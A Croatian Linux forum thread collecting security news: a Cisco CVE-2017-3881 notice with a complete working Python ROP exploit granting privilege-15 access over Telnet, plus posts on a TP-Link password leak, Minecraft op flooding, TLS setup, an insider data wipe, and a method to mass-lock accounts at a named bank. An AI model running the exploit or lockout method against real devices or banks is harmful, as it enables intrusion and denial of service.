Sada je: 20 ruj 2019, 11:49.
Linux, poslužitelj, mreže i sigurnost

Moderator/ica: Moderatori/ce

Vozdra ekipa,

U ovom topicu ću stavljati (nadam se i vi) vijesti vezane drito uz sigurnost, neke će biti za užu publiku a neke za širu. Ideja je čisto da postoji neki sistem vijesti:) Unaprijed najavljujem da se o odvojenim CVE/štoveć ako se razvije rasprava otvaram zasebni topic i selim tamo sve vezane postove. Nadam se samo da ću uspjet ovdje objavljivati jednako religiozno kao i JH-IM o Ubuntu.

Dopuna 1 (4.7.2017.):

Razjašnjenje jer nekima nije jasno iz gornjeg paragrafa: Ovo nije takozvani „razgovorni topic“, već topic za obavijesti, a komentari su dozvoljeni samo na razini maksimuma od ~ 1-3 odgovora i nakon toga se sve seli u zasebni topic ili briše. Ako kanite otvoriti diskusiju o nekom specifičnom eksploitu, ovdje stavite obavijest i odmah otvorite „razgovorni“ topic, tj. mjesto za diskusiju o detaljima jer se ovdje NEĆE tolerirati.
Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04
https://cve.mitre.org/cgi-bin/cvename.c ... -2017-3881

CVE-2017-3881

Ranjivost u Cisco Cluster Management Protocol (CMP) kodu u sustavima Cisco IOS i Cisco IOS XE može omogućiti neautenticiranom udaljenom napadaču da reloada uređaj ili remotely izvršava kod s povišenim ovlastima. Cluster Management Protocol koristi Telnet interno kao signalni i komandni protokol između članova klastera. Ranjivost je posljedica kombinacije dvaju čimbenika: (1) neuspjeh ograničenja upotrebe Telneta specifičnih za CMP samo na internu, lokalnu komunikacije članova klastera i umjesto toga se prihvaćaju veze preko WAN-a; i (2) pogrešnu obradu neispravnih Telnet CMP naredbi. Napadač može iskoristiti ovu ranjivost slanja neispravnih CMP Telnet naredbi tijekom uspostavljanja Telnet sesije s pogođenim Cisco uređajem konfiguriranim za prihvaćanje Telnet veze. Iskorištavanje može omogućiti napadaču izvršenje proizvoljnog koda i potpunu kontrolu nad uređajem.

Utječe na: Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10 i SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.

Shrike komentar: Tko koristi telnet u moderno doba je toljaga, pa čak i buzdovan.

Kod: Označi sve
#!/usr/bin/python
# Author:
#  Artem Kondratenko (@artkond)
 
import socket
import sys
from time import sleep
 
set_credless = True
 
if len(sys.argv) < 3:
    print sys.argv[0] + ' [host] --set/--unset'
    sys.exit()
elif sys.argv[2] == '--unset':
    set_credless = False
elif sys.argv[2] == '--set':
    pass
else:
    print sys.argv[0] + ' [host] --set/--unset'
    sys.exit()
 
 
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))
 
print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'
 
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
 
 
 
payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4'       # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74'       # +8  address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
    payload += '\x00\x00\x99\x80'   # +12 set  address of func that rets 1
else:
    payload +=  '\x00\x04\xea\x58'  # unset
payload += 'BBBB'                   # +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8'       # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC'                   # +8
payload += 'DDDD'                   # +12
payload += 'EEEE'                   # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c'       # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x2c\x8b\x60'       # +8  r1+8 = 0x022c8b60
payload += 'FFFF'                   # +12
payload += 'GGGG'                   # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6b\xa1\x28'       # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
    payload += '\x00\x12\x52\x1c'   # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
else:
    payload += '\x00\x04\xe6\xf0'   # unset
payload += 'HHHH'                   # +12
payload += 'IIII'                   # +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60'       # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ'                   # +8 r1 points here at third gadget
payload += 'KKKK'                   # +12
payload += 'LLLL'                   # +16
payload += '\x01\x13\x31\xa8'       # +20 original execution flow return addr
payload += ':15:' +  '\xff\xf0'
 
s.send(payload)
 
print '[+] All done'
 
s.close()
Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04
Nedavno sam slučajno otkrio, tp-link router,neznam koji model ali sa starijim firmware-om(2014):
Admin password piše u headerima login forme pface

Rupa je popravljena sa novijim firmware-om ali ono, dobro je znati
#!/bin/bash
coffee=0

while [ `date +%H:%M` -lt 08:00 ]; do

coffee=((coffee + 1))

done
exit
Avatar
Postovi: 854
Postovi: 854
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 9 Stretch / xfce4
Recimo jedna stvar vezana za Minecraft server, iako nije neka pretjerana sigurnosna prijetnja pošto je to igrica ali ono..., ako se bot ulogira kao netko od igrača koji imaju OP prava i bez logina-a pocne bombardirati server sa komandom /op neki_igrac (što daje op tom useru) kolko god op naredba onesposobljena u konfiguraciji nakon dovoljno puta (cca 1000 puta) prođe i da OP prava tom useru.
jednostavno se server preoptereti i pusti naredbu

Onima kojima nije jasno OP bi bio nešto kao root u linux svijetu, znaci ima prava pokretat sve komande ima pristup do svega.

Ja sam ovo kod sebe riješio sa bash skripticom tail-a log od minecraft servera svakih 5 sekundi i traži jeli netko pokretao /op komandu, ako se /op pokretao više od 3 puta uzima ime i IP usera koji ju je pokretao, kicka usera van i blokira IP na iptables tako da uopce nemogu ni doci do servera.

I imam drugu skripticu koja svaku minutu gleda md5sum file-a u kojem su imena usera koji imaju OP i ako se md5 promjeni vadi originalni file iz backupa i kopira ga preko hakiranog "ops.json" file-a , ovo je za slucaj da prva skripta ne uspije ili za slučaj da netko nađe neku drugu rupu za ubacit se u administratore

Koliko znam osim mojih skriptica druga zaštita protiv ovog ne postoji.
Do sad sam imao 20-ak napada i prvih par su mi orušili server dok nisam shvatio šta rade zapravo, ali sreća da imam backup svega svakih sat vremena tako da sam siguran, iskreno ne vidim korist u hakiranju Minecraft servera ali zanimljivo mi je popravljat ovakve rupe :)
#!/bin/bash
coffee=0

while [ `date +%H:%M` -lt 08:00 ]; do

coffee=((coffee + 1))

done
exit
Avatar
Postovi: 854
Postovi: 854
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 9 Stretch / xfce4
SSL... to je ono kada imate https:// umjesto http:// , postao je jako popularan u zadnje vrijeme jer google mijenja SEO pravila za sajtove bez https-a (ako nemate https, bit će lošiji ranking). Služi tome da enkritpira vezu između klijenta i servera te bitno otežava man-in-th-middle napade, privatnost podatka,.... Kako su krenule implementacije, postoji njih jako puno užasnih zbog loših uputa i neznanje kako podesiti ali i testirati. Zato, ima i zgodan generator konfe:
Kod: Označi sve
https://mozilla.github.io/server-side-tls/ssl-config-generator/

za apache, nginx, lighttpd, haproxy i aws elb. Osobno bih predložio da stavite "modern" jer nema realne potrebe za tls1.0 i tls1.1 i ostale starije protokole (podrška samo zaTLS 1.2 je ok). Da bi testirali svoj sajt, ili tuđe, ima i super sajt:
https://www.ssllabs.com/ssltest/
Ciljate na ocjenu "A", ali i A+ nije teško dobiti samo podesite HSTS, a za bonus bodove i DNS CAA record: https://support.dnsimple.com/articles/caa-record/

Postoje i naravno kompleksnije konfiguracije sa dualnim RSA i ECC certifikatima koje serviraju cert ovisno o podržavanju (ecc su brži) klijenta:
https://www.haproxy.com/blog/serving-ecc-and-rsa-certificates-on-same-ip-with-haproxy/
Uzmite u obzir da SSL stavlja dodatni overhead na CPU, pa ako vam sada server rubno radi onda ćete ipak morati malo nadograditi nešto:)
Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04
Pohvale za temu, nadam se da će (p)ostati aktivna :thmb-up
Stavila sam ti ju kao sticky da bude uvijek na vrhu podforuma.
Avatar
Site Admin
Postovi: 6506
Site Admin
Postovi: 6506
Pridružen/a: 06 lip 2009, 23:16
Lokacija: Online
Podijelio/la zahvalu: 621 puta
Primio/la zahvalu: 628 puta
OS: Mint 17.3 KDE 4.14.13
http://verelox.com hosting firma je nedavno imala ozbiljan problem, naime bivši zaposlenik je izbrisao sve podatke sa svih servera (virtualnih i fizičkih) i izgleda da je mrežu uništio. Sajt ima upozorenje sada o tome i ništa drugo, tekst je ovaj (jedino što imaju je taj tekst):



First of all, we want to offer our apologies for any inconvenience.

Unfortunately, an ex administrator has deleted all customer data and wiped most servers.
Because of this, we took the necessary steps to temporarily take our network offline.
We have been working hard to recover the data but this was not possible for all data that was lost.

Our network and hosting services will be back this week with security updates.
Current customers who are still interested in our services will receive compensation for their services.
If clients have important data please contact us at support@verelox.com.
We will try our best with our technical team to recover you data.

Our recommendation is to change all server passwords.

Status update 1: (finished) All dedicated servers located in The Netherlands should be online at 6 PM UTC.
We are still working on a solution for cloud servers.

Status update 2: (finished) All dedicated servers are online. If you are facing any problems with your dedicated server please send a e-mail to support@verelox.com.
Right now all virtual machines are uploading to a new server.

Status update 3: (finished) Most cloud nodes located in The Netherlands are online.
We are still facing small problems with some cloud nodes, we will update this page when this is resolved.

Status update 4: (finished) All nodes located in The Netherlands are online.
Our France SSD node is also online, other nodes are coming up.

Status update 5: All our Canada nodes are online now. We are still working on France.

If your server is still offline please contact us at support@verelox.com.
Don't forgot to include your server IP address.
After investigation, there is no data lost in The Netherlands and France SSD.
We known about the IPv6 issues in The Netherlands our NOC is working on it.

— Verelox


U stvarnosti je interna sigurnost izrazito bitna, a u mnogim situacijama zapravo i bitnija od eksternih napada. Ovo podsjeća na nedavni scenarij sa reddita u kojem je čovjek prvi dan na poslu izbrisao produkcijsku bazu: https://np.reddit.com/r/cscareerquestio ... tabase_on/


Koliko su vaše firme otporne na slučajno ili zlonamjerno uništavanje podataka, njihovo iznošenje, modifikacije i ostale manipulacije? Nadam se da kod vas čistačica nema najviše sigurnosne ovlasti:)
Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04
Bio je vikend (sada novi vikend pa imate kada gledati), blagdani i tako, pa evo sada za promjenu jedan youtube video, tj. predavanje. Riječ je o tome što se sve može pronaći na shodanu i specifično koliko bitnih stvari, a uznemirujuće kompletno nezaštićenih se može pronaći. Željeznice, elektrane, sistemi koji upravljaju semaforima, ... sustavi za koje bi ste se zakunuli da su 100% zaštićeni i da nema šanse da se može do njih lagano ... e, neki od njih su kompletno javno dostupni. Osobno se pitam u koliko toga bi se moglo doći u Hrvatskoj, iz identičnog načina razmišljanja? HEP? MUP? SOA? HŽ? Vlada? Tko zna...

Obavezno pogledati!

Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04
Kod: Označi sve
Osobno se pitam u koliko toga bi se moglo doći u Hrvatskoj, iz identičnog načina razmišljanja? HEP? MUP? SOA? HŽ? Vlada? Tko zna...


Eh koliko sam samo ukora i opomena pokupio u srednjoj samo zato što je password svugdje bio tipa "admin", "skola", "srednja"....
A da ne pričam o tome da sam imao 2 iz informatike kroz sve 4 godine...



Sad da se nadovežem, HPB- internet bankarstvo imao sam nekih problema sa njihovom aplikacijom i nije mi generiralo dobre tokene, imaju onaj klasičan sistem sa ID i privremenim tokenom.
Ali pazi ovo, nakon 3 puta pogriješenog tokena kompletno zablokira tvoj account i više se nemožeš prijavit gore na IB niti na mBankarstvo dok ne odeš u banku i opet podigneš kod za mToken/mBanking aplikaciju.

Pa me znaimalo koliku točno sigurnost mi daju u cjelom sustavu pošto mi se ovo dešava bar jednom mjesecno.
Nakon kratkog pregleda login forme primjetio sam da je ID uvjek 10 znamenki a token je uvjek 6. Znači sa "shuf -i 1000000000-9999999999" i isto tako za token 3 puta možemo random generirati ID-eve i passworde te ljudima/firmama blokirati internet bankarstvo, ne garantiram da će pogodit točne ID-eve i nemožemo znati nečiji ID ali nakon par par tisuća pokušaja(par sekundi) će sigurno pogoditi bar jedan među nijma, 3 puta pokušati password i zablokirati account...
Svemirski mala je vjerojatnost da će možda i pogoditi točnu kombinaciju ali sigurno je moguće
Najgore je to što nemaju nešto što bi zaustavilo ovaj napad( recimo Fail2Ban )

Nazvao sam ih i objasnio im problem koji imaju ,ali nemam nikakvu potvrdu da su to popravili, ovo je bilo prije negdje mjesec dana
#!/bin/bash
coffee=0

while [ `date +%H:%M` -lt 08:00 ]; do

coffee=((coffee + 1))

done
exit
Avatar
Postovi: 854
Postovi: 854
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 9 Stretch / xfce4
Sad si me podsjetio, u bankama kod kartičarstva imaju super sigurnost. U zadnjoj prostoriji ne smješ ni unositi mobitele ili bilo kakvu elektroniku i ne smije biti manje od 2 osobe u bilo kojem trenu da jedan drugog paze i ima više razina sigurnosti prije nego do tamo i dođeš. Osim čistačice, ona može po objektu kako i kada želi, i može biti sama:) Nije ni čudo da tip iz SOA-e na TV-u javno kaže da su im čistačice najvažnije.
Es gibt keinen Gott, kein Universum, keine menschliche Rasse, kein irdisches Leben, keinen Himmel, keine Hölle. Es ist alles ein Traum - ein grotesker und dummer Traum. Nichts existiert außer dir. Und du bist nur ein Gedanke - ein vagabundierender Gedanke, ein nutzloser Gedanke, ein heimatloser Gedanke, der verloren in der leeren Ewigkeit wandelt!
Avatar
Moderator
Postovi: 9895
Moderator
Postovi: 9895
Pridružen/a: 07 pro 2007, 18:07
Podijelio/la zahvalu: 158 puta
Primio/la zahvalu: 269 puta
Spol: Y
OS: utuntu 17.04

Na mreži
Trenutno korisnika/ca: / i 1 gost.